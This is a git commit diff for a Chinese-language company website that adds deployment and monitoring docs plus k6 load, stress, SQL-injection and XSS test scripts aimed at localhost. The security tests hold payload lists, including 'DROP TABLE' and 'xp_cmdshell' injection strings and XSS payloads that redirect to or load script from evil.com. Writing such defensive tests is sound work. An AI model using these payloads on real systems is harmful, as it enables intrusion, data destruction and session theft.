feat: 添加性能和安全测试,完善部署文档
阶段五:性能和安全测试 - 创建负载测试脚本:模拟正常用户访问模式 - 创建压力测试脚本:测试系统极限性能 - 创建SQL注入测试脚本:验证SQL注入防护 - 创建XSS防护测试脚本:验证XSS防护 - 添加测试脚本到package.json 阶段六:文档和培训 - 更新README.md:添加监控和告警文档 - 添加性能测试文档和命令 - 添加安全测试文档和命令 - 添加Docker部署文档 - 添加生产环境配置文档 - 添加备份和恢复文档
This commit is contained in:
@@ -311,10 +311,294 @@ npm run test
|
||||
|
||||
## CI/CD
|
||||
|
||||
项目使用 Woodpecker CI 进行持续集成,配置文件为 `.woodpecker.yml`。
|
||||
项目使用 Woodpecker CI 进行持续集成,配置文件为 `.woodpecker/` 目录。
|
||||
|
||||
CI 流水线包括:
|
||||
- E2E 测试(全量、冒烟、回归、性能、响应式、视觉)
|
||||
- **CI 工作流** (`.woodpecker/ci.yml`) - 代码检查、测试、构建
|
||||
- **部署工作流** (`.woodpecker/deploy.yml`) - 生产环境部署
|
||||
- **质量门禁** (`.woodpecker/quality-gate.yml`) - 代码质量检查
|
||||
|
||||
### CI 触发条件
|
||||
|
||||
- 分支:`main`、`develop`
|
||||
- 事件:`push`、`pull_request`
|
||||
|
||||
### 质量门禁标准
|
||||
|
||||
- ESLint 检查通过
|
||||
- TypeScript 类型检查通过
|
||||
- 单元测试覆盖率 ≥ 70%
|
||||
- E2E 测试通过率 ≥ 95%
|
||||
|
||||
## 监控和告警
|
||||
|
||||
### Sentry 错误监控
|
||||
|
||||
项目集成了 Sentry 错误监控,用于追踪生产环境中的错误。
|
||||
|
||||
**配置环境变量:**
|
||||
|
||||
```env
|
||||
NEXT_PUBLIC_SENTRY_DSN=https://xxx@xxx.ingest.sentry.io/xxx
|
||||
```
|
||||
|
||||
**监控内容:**
|
||||
- JavaScript 错误
|
||||
- API 错误
|
||||
- 性能追踪
|
||||
- 用户会话回放
|
||||
|
||||
### 健康检查
|
||||
|
||||
健康检查 API:`GET /api/health`
|
||||
|
||||
**返回信息:**
|
||||
- 应用状态
|
||||
- 运行时间
|
||||
- 内存使用
|
||||
- 数据库连接状态
|
||||
- 请求统计
|
||||
|
||||
### 性能监控
|
||||
|
||||
项目内置性能监控工具,记录关键指标:
|
||||
- 响应时间(平均值、P50、P95、P99)
|
||||
- 请求计数
|
||||
- 内存使用率
|
||||
|
||||
**查看性能数据:**
|
||||
|
||||
```bash
|
||||
curl http://localhost:3000/api/health
|
||||
```
|
||||
|
||||
## 备份和恢复
|
||||
|
||||
### 备份
|
||||
|
||||
使用备份脚本定期备份数据:
|
||||
|
||||
```bash
|
||||
./scripts/backup.sh
|
||||
```
|
||||
|
||||
**备份内容包括:**
|
||||
- SQLite 数据库文件
|
||||
- 上传文件
|
||||
- 环境配置
|
||||
|
||||
**备份文件位置:** `./backups/backup_YYYYMMDD_HHMMSS.tar.gz`
|
||||
|
||||
**自动清理:** 保留最近 7 天的备份
|
||||
|
||||
### 恢复
|
||||
|
||||
使用恢复脚本从备份中恢复数据:
|
||||
|
||||
```bash
|
||||
./scripts/restore.sh <backup_file.tar.gz>
|
||||
```
|
||||
|
||||
**注意事项:**
|
||||
- 恢复操作会覆盖当前数据
|
||||
- 恢复后需要重启应用
|
||||
- 建议在恢复前先备份当前数据
|
||||
|
||||
## 性能测试
|
||||
|
||||
项目使用 k6 进行性能测试。
|
||||
|
||||
### 负载测试
|
||||
|
||||
模拟正常用户访问模式,测试系统在预期负载下的表现。
|
||||
|
||||
```bash
|
||||
npm run test:performance
|
||||
```
|
||||
|
||||
**测试场景:**
|
||||
- 逐步增加用户数(100 → 200)
|
||||
- 访问主要页面
|
||||
- 提交联系表单
|
||||
|
||||
**性能指标:**
|
||||
- P95 响应时间 < 500ms
|
||||
- P99 响应时间 < 1000ms
|
||||
- 错误率 < 1%
|
||||
|
||||
### 压力测试
|
||||
|
||||
测试系统在极端负载下的表现和极限。
|
||||
|
||||
```bash
|
||||
npm run test:stress
|
||||
```
|
||||
|
||||
**测试场景:**
|
||||
- 快速增加用户数(50 → 300)
|
||||
- 持续高负载
|
||||
- 快速下降
|
||||
|
||||
**性能指标:**
|
||||
- P95 响应时间 < 1000ms
|
||||
- P99 响应时间 < 2000ms
|
||||
- 错误率 < 5%
|
||||
|
||||
**测试报告:** `tests/performance/load-test-summary.json`
|
||||
|
||||
## 安全测试
|
||||
|
||||
项目使用 k6 进行安全测试。
|
||||
|
||||
### SQL 注入测试
|
||||
|
||||
测试系统对 SQL 注入攻击的防护能力。
|
||||
|
||||
```bash
|
||||
npm run test:sql-injection
|
||||
```
|
||||
|
||||
**测试内容:**
|
||||
- 常见 SQL 注入 payload
|
||||
- UNION 查询注入
|
||||
- 盲注攻击
|
||||
- 时间注入
|
||||
|
||||
**防护措施:**
|
||||
- 使用参数化查询(Drizzle ORM)
|
||||
- 输入验证和过滤
|
||||
- 错误信息脱敏
|
||||
|
||||
### XSS 防护测试
|
||||
|
||||
测试系统对跨站脚本攻击的防护能力。
|
||||
|
||||
```bash
|
||||
npm run test:xss
|
||||
```
|
||||
|
||||
**测试内容:**
|
||||
- Script 标签注入
|
||||
- 事件处理器注入
|
||||
- JavaScript 伪协议
|
||||
- 外部资源引用
|
||||
|
||||
**防护措施:**
|
||||
- 输入转义(DOMPurify)
|
||||
- CSP 策略
|
||||
- HTTPOnly Cookie
|
||||
|
||||
### 完整安全测试
|
||||
|
||||
运行所有安全测试:
|
||||
|
||||
```bash
|
||||
npm run test:security
|
||||
```
|
||||
|
||||
## Docker 部署
|
||||
|
||||
项目提供 Docker 部署方案。
|
||||
|
||||
### 构建镜像
|
||||
|
||||
```bash
|
||||
docker build -t novalon-website .
|
||||
```
|
||||
|
||||
### 使用 Docker Compose
|
||||
|
||||
```bash
|
||||
cp .env.production.example .env.production
|
||||
docker-compose -f docker-compose.prod.yml up -d
|
||||
```
|
||||
|
||||
### 健康检查
|
||||
|
||||
Docker 容器配置了健康检查:
|
||||
|
||||
```yaml
|
||||
healthcheck:
|
||||
test: ["CMD", "wget", "--no-verbose", "--tries=1", "--spider", "http://localhost:3000/api/health"]
|
||||
interval: 30s
|
||||
timeout: 10s
|
||||
retries: 3
|
||||
start_period: 40s
|
||||
```
|
||||
|
||||
## 生产环境配置
|
||||
|
||||
### 环境变量
|
||||
|
||||
生产环境需要配置以下变量:
|
||||
|
||||
```env
|
||||
# 数据库
|
||||
DATABASE_URL=file:./data/prod.db
|
||||
|
||||
# NextAuth
|
||||
NEXTAUTH_URL=https://novalon.cn
|
||||
NEXTAUTH_SECRET=your-production-secret-here
|
||||
|
||||
# 管理员
|
||||
ADMIN_EMAIL=admin@novalon.cn
|
||||
ADMIN_PASSWORD=your-secure-password
|
||||
|
||||
# Sentry
|
||||
NEXT_PUBLIC_SENTRY_DSN=https://xxx@xxx.ingest.sentry.io/xxx
|
||||
|
||||
# 邮件服务
|
||||
RESEND_API_KEY=your_resend_api_key
|
||||
COMPANY_EMAIL=contact@novalon.cn
|
||||
|
||||
# 文件上传
|
||||
UPLOAD_DIR=./uploads
|
||||
MAX_FILE_SIZE=10485760
|
||||
|
||||
# 站点 URL
|
||||
NEXT_PUBLIC_SITE_URL=https://novalon.cn
|
||||
```
|
||||
|
||||
### 部署流程
|
||||
|
||||
1. **准备环境**
|
||||
```bash
|
||||
cp .env.production.example .env.production
|
||||
# 编辑 .env.production 配置生产环境变量
|
||||
```
|
||||
|
||||
2. **构建应用**
|
||||
```bash
|
||||
npm run build
|
||||
```
|
||||
|
||||
3. **初始化数据库**
|
||||
```bash
|
||||
npm run db:push
|
||||
npm run db:seed
|
||||
```
|
||||
|
||||
4. **启动服务**
|
||||
```bash
|
||||
npm start
|
||||
# 或使用 Docker
|
||||
docker-compose -f docker-compose.prod.yml up -d
|
||||
```
|
||||
|
||||
5. **验证部署**
|
||||
```bash
|
||||
curl http://localhost:3000/api/health
|
||||
```
|
||||
|
||||
6. **配置监控**
|
||||
- 在 Sentry 创建项目并配置 DSN
|
||||
- 配置告警规则
|
||||
|
||||
7. **设置定时备份**
|
||||
```bash
|
||||
# 添加到 crontab
|
||||
0 2 * * * /path/to/scripts/backup.sh
|
||||
```
|
||||
|
||||
## 文档
|
||||
|
||||
|
||||
Generated
+8
@@ -52,6 +52,7 @@
|
||||
"drizzle-kit": "^0.31.9",
|
||||
"eslint": "^10.0.2",
|
||||
"eslint-config-next": "^0.2.4",
|
||||
"k6": "^0.0.0",
|
||||
"lighthouse": "^13.0.3",
|
||||
"tailwindcss": "^4",
|
||||
"tsx": "^4.21.0",
|
||||
@@ -7592,6 +7593,13 @@
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/k6": {
|
||||
"version": "0.0.0",
|
||||
"resolved": "https://registry.npmjs.org/k6/-/k6-0.0.0.tgz",
|
||||
"integrity": "sha512-GAQSWayS2+LjbH5bkRi+pMPYyP1JSp7o+4j58ANZ762N/RH/SdlAT3CHHztnn8s/xgg8kYNM24Gd2IPo9b5W+g==",
|
||||
"dev": true,
|
||||
"license": "AGPL-3.0"
|
||||
},
|
||||
"node_modules/keyv": {
|
||||
"version": "4.5.4",
|
||||
"resolved": "https://registry.npmjs.org/keyv/-/keyv-4.5.4.tgz",
|
||||
|
||||
@@ -13,6 +13,11 @@
|
||||
"test:e2e": "cd e2e && npm test",
|
||||
"test:smoke": "playwright test --grep @smoke",
|
||||
"test:report": "allure generate test-results/allure-results && allure open",
|
||||
"test:performance": "k6 run tests/performance/load-test.js",
|
||||
"test:stress": "k6 run tests/performance/stress-test.js",
|
||||
"test:security": "k6 run tests/security/sql-injection-test.js && k6 run tests/security/xss-test.js",
|
||||
"test:sql-injection": "k6 run tests/security/sql-injection-test.js",
|
||||
"test:xss": "k6 run tests/security/xss-test.js",
|
||||
"check:contrast": "tsx scripts/check-color-contrast.ts",
|
||||
"check:headings": "tsx scripts/check-heading-hierarchy.ts",
|
||||
"audit:performance": "node scripts/performance-audit.js",
|
||||
@@ -72,6 +77,7 @@
|
||||
"drizzle-kit": "^0.31.9",
|
||||
"eslint": "^10.0.2",
|
||||
"eslint-config-next": "^0.2.4",
|
||||
"k6": "^0.0.0",
|
||||
"lighthouse": "^13.0.3",
|
||||
"tailwindcss": "^4",
|
||||
"tsx": "^4.21.0",
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
import http from 'k6/http';
|
||||
import { check, sleep } from 'k6';
|
||||
import { Rate, Trend } from 'k6/metrics';
|
||||
|
||||
const errorRate = new Rate('errors');
|
||||
const responseTime = new Trend('response_time');
|
||||
|
||||
export const options = {
|
||||
stages: [
|
||||
{ duration: '2m', target: 100 }, // 2分钟内逐步增加到100用户
|
||||
{ duration: '5m', target: 100 }, // 保持100用户5分钟
|
||||
{ duration: '2m', target: 200 }, // 2分钟内增加到200用户
|
||||
{ duration: '5m', target: 200 }, // 保持200用户5分钟
|
||||
{ duration: '2m', target: 0 }, // 2分钟内减少到0
|
||||
],
|
||||
thresholds: {
|
||||
http_req_duration: ['p(95)<500', 'p(99)<1000'], // 95%请求<500ms, 99%请求<1s
|
||||
http_req_failed: ['rate<0.01'], // 错误率<1%
|
||||
errors: ['rate<0.01'],
|
||||
},
|
||||
};
|
||||
|
||||
const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000';
|
||||
|
||||
export default function () {
|
||||
const pages = [
|
||||
'/',
|
||||
'/about',
|
||||
'/services',
|
||||
'/products',
|
||||
'/news',
|
||||
'/contact',
|
||||
];
|
||||
|
||||
const page = pages[Math.floor(Math.random() * pages.length)];
|
||||
const res = http.get(`${BASE_URL}${page}`, {
|
||||
tags: { name: page },
|
||||
});
|
||||
|
||||
const success = check(res, {
|
||||
'status is 200': (r) => r.status === 200,
|
||||
'response time < 500ms': (r) => r.timings.duration < 500,
|
||||
});
|
||||
|
||||
errorRate.add(!success);
|
||||
responseTime.add(res.timings.duration);
|
||||
|
||||
sleep(Math.random() * 3 + 1); // 1-4秒随机等待
|
||||
}
|
||||
|
||||
export function handleSummary(data) {
|
||||
return {
|
||||
'performance/load-test-summary.json': JSON.stringify(data, null, 2),
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
import http from 'k6/http';
|
||||
import { check, sleep } from 'k6';
|
||||
import { Rate, Trend } from 'k6/metrics';
|
||||
|
||||
const errorRate = new Rate('errors');
|
||||
const responseTime = new Trend('response_time');
|
||||
|
||||
export const options = {
|
||||
stages: [
|
||||
{ duration: '1m', target: 50 }, // 1分钟内增加到50用户
|
||||
{ duration: '2m', target: 100 }, // 2分钟内增加到100用户
|
||||
{ duration: '3m', target: 200 }, // 3分钟内增加到200用户
|
||||
{ duration: '5m', target: 300 }, // 5分钟内增加到300用户(压力峰值)
|
||||
{ duration: '2m', target: 100 }, // 2分钟内减少到100用户
|
||||
{ duration: '1m', target: 0 }, // 1分钟内减少到0
|
||||
],
|
||||
thresholds: {
|
||||
http_req_duration: ['p(95)<1000', 'p(99)<2000'], // 95%请求<1s, 99%请求<2s
|
||||
http_req_failed: ['rate<0.05'], // 错误率<5%(压力测试允许更高)
|
||||
errors: ['rate<0.05'],
|
||||
},
|
||||
};
|
||||
|
||||
const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000';
|
||||
|
||||
export default function () {
|
||||
const scenarios = [
|
||||
{ method: 'GET', path: '/', name: '首页' },
|
||||
{ method: 'GET', path: '/api/health', name: '健康检查' },
|
||||
{ method: 'POST', path: '/api/contact', name: '联系表单', body: JSON.stringify({
|
||||
name: 'Test User',
|
||||
email: 'test@example.com',
|
||||
phone: '13800138000',
|
||||
message: 'This is a test message',
|
||||
}) },
|
||||
];
|
||||
|
||||
const scenario = scenarios[Math.floor(Math.random() * scenarios.length)];
|
||||
|
||||
let res;
|
||||
if (scenario.method === 'POST') {
|
||||
res = http.post(`${BASE_URL}${scenario.path}`, scenario.body, {
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
tags: { name: scenario.name },
|
||||
});
|
||||
} else {
|
||||
res = http.get(`${BASE_URL}${scenario.path}`, {
|
||||
tags: { name: scenario.name },
|
||||
});
|
||||
}
|
||||
|
||||
const success = check(res, {
|
||||
'status is 200 or 201': (r) => [200, 201].includes(r.status),
|
||||
'response time < 1000ms': (r) => r.timings.duration < 1000,
|
||||
});
|
||||
|
||||
errorRate.add(!success);
|
||||
responseTime.add(res.timings.duration);
|
||||
|
||||
sleep(Math.random() * 2 + 0.5); // 0.5-2.5秒随机等待
|
||||
}
|
||||
|
||||
export function handleSummary(data) {
|
||||
return {
|
||||
'performance/stress-test-summary.json': JSON.stringify(data, null, 2),
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
import http from 'k6/http';
|
||||
import { check } from 'k6';
|
||||
|
||||
export const options = {
|
||||
thresholds: {
|
||||
checks: ['rate==1.0'], // 所有安全检查必须通过
|
||||
},
|
||||
};
|
||||
|
||||
const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000';
|
||||
|
||||
const sqlInjectionPayloads = [
|
||||
"' OR '1'='1",
|
||||
"' OR '1'='1' --",
|
||||
"' OR '1'='1' /*",
|
||||
"' OR 1=1 --",
|
||||
"admin'--",
|
||||
"admin'/*",
|
||||
"' UNION SELECT NULL--",
|
||||
"1' ORDER BY 1--",
|
||||
"'; DROP TABLE users--",
|
||||
"'; INSERT INTO users--",
|
||||
"' OR SLEEP(5)--",
|
||||
"1' AND SLEEP(5)--",
|
||||
"'; WAITFOR DELAY '0:0:5'--",
|
||||
"1'; EXEC xp_cmdshell('dir')--",
|
||||
"'; EXEC master..xp_cmdshell 'dir'--",
|
||||
];
|
||||
|
||||
export default function () {
|
||||
let allPassed = true;
|
||||
|
||||
sqlInjectionPayloads.forEach((payload) => {
|
||||
const testCases = [
|
||||
{
|
||||
name: 'Contact Form - SQL Injection',
|
||||
url: `${BASE_URL}/api/contact`,
|
||||
method: 'POST',
|
||||
body: JSON.stringify({
|
||||
name: payload,
|
||||
email: 'test@example.com',
|
||||
phone: '13800138000',
|
||||
message: 'Test message',
|
||||
}),
|
||||
},
|
||||
{
|
||||
name: 'Search - SQL Injection',
|
||||
url: `${BASE_URL}/api/search?q=${encodeURIComponent(payload)}`,
|
||||
method: 'GET',
|
||||
},
|
||||
];
|
||||
|
||||
testCases.forEach((testCase) => {
|
||||
let res;
|
||||
if (testCase.method === 'POST') {
|
||||
res = http.post(testCase.url, testCase.body, {
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
tags: { name: testCase.name },
|
||||
});
|
||||
} else {
|
||||
res = http.get(testCase.url, {
|
||||
tags: { name: testCase.name },
|
||||
});
|
||||
}
|
||||
|
||||
const passed = check(res, {
|
||||
'status is 200 or 400 or 422': (r) => [200, 400, 422].includes(r.status),
|
||||
'no SQL error in response': (r) => !r.body.includes('SQL') && !r.body.includes('syntax error'),
|
||||
'no database error in response': (r) => !r.body.includes('database') && !r.body.includes('mysql'),
|
||||
'no stack trace in response': (r) => !r.body.includes('stack trace') && !r.body.includes('Error:'),
|
||||
});
|
||||
|
||||
if (!passed) {
|
||||
allPassed = false;
|
||||
console.error(`SQL Injection test failed for payload: ${payload}`);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
if (!allPassed) {
|
||||
throw new Error('SQL Injection tests failed');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
import http from 'k6/http';
|
||||
import { check } from 'k6';
|
||||
|
||||
export const options = {
|
||||
thresholds: {
|
||||
checks: ['rate==1.0'], // 所有安全检查必须通过
|
||||
},
|
||||
};
|
||||
|
||||
const BASE_URL = __ENV.BASE_URL || 'http://localhost:3000';
|
||||
|
||||
const xssPayloads = [
|
||||
'<script>alert("XSS")</script>',
|
||||
'<img src=x onerror=alert("XSS")>',
|
||||
'<svg onload=alert("XSS")>',
|
||||
'<body onload=alert("XSS")>',
|
||||
'<input onfocus=alert("XSS") autofocus>',
|
||||
'<select onfocus=alert("XSS") autofocus>',
|
||||
'<textarea onfocus=alert("XSS") autofocus>',
|
||||
'<keygen onfocus=alert("XSS") autofocus>',
|
||||
'<video><source onerror=alert("XSS")>',
|
||||
'<audio src=x onerror=alert("XSS")>',
|
||||
'<iframe src="javascript:alert("XSS")">',
|
||||
'<details open ontoggle=alert("XSS")>',
|
||||
'<marquee onstart=alert("XSS")>',
|
||||
'<isindex action="javascript:alert("XSS")">',
|
||||
'<form><button formaction="javascript:alert("XSS")">X</button></form>',
|
||||
'javascript:alert("XSS")',
|
||||
'<script>document.location="http://evil.com"</script>',
|
||||
'<img src=x onerror="document.location=\'http://evil.com\'">',
|
||||
'<svg><script>document.location="http://evil.com"</script></svg>',
|
||||
'<script src="http://evil.com/xss.js"></script>',
|
||||
'<link rel="stylesheet" href="javascript:alert("XSS")">',
|
||||
];
|
||||
|
||||
export default function () {
|
||||
let allPassed = true;
|
||||
|
||||
xssPayloads.forEach((payload) => {
|
||||
const testCases = [
|
||||
{
|
||||
name: 'Contact Form - XSS',
|
||||
url: `${BASE_URL}/api/contact`,
|
||||
method: 'POST',
|
||||
body: JSON.stringify({
|
||||
name: payload,
|
||||
email: 'test@example.com',
|
||||
phone: '13800138000',
|
||||
message: payload,
|
||||
}),
|
||||
},
|
||||
{
|
||||
name: 'Search - XSS',
|
||||
url: `${BASE_URL}/api/search?q=${encodeURIComponent(payload)}`,
|
||||
method: 'GET',
|
||||
},
|
||||
];
|
||||
|
||||
testCases.forEach((testCase) => {
|
||||
let res;
|
||||
if (testCase.method === 'POST') {
|
||||
res = http.post(testCase.url, testCase.body, {
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
tags: { name: testCase.name },
|
||||
});
|
||||
} else {
|
||||
res = http.get(testCase.url, {
|
||||
tags: { name: testCase.name },
|
||||
});
|
||||
}
|
||||
|
||||
const passed = check(res, {
|
||||
'status is 200 or 400 or 422': (r) => [200, 400, 422].includes(r.status),
|
||||
'XSS payload not reflected in response': (r) => {
|
||||
const lowerBody = r.body.toLowerCase();
|
||||
return !lowerBody.includes('<script>') &&
|
||||
!lowerBody.includes('onerror=') &&
|
||||
!lowerBody.includes('onload=') &&
|
||||
!lowerBody.includes('onfocus=') &&
|
||||
!lowerBody.includes('javascript:') &&
|
||||
!lowerBody.includes('document.location');
|
||||
},
|
||||
'no alert in response': (r) => !r.body.includes('alert('),
|
||||
'no iframe in response': (r) => !r.body.includes('<iframe'),
|
||||
'no external script in response': (r) => !r.body.includes('http://evil.com'),
|
||||
});
|
||||
|
||||
if (!passed) {
|
||||
allPassed = false;
|
||||
console.error(`XSS test failed for payload: ${payload}`);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
if (!allPassed) {
|
||||
throw new Error('XSS tests failed');
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user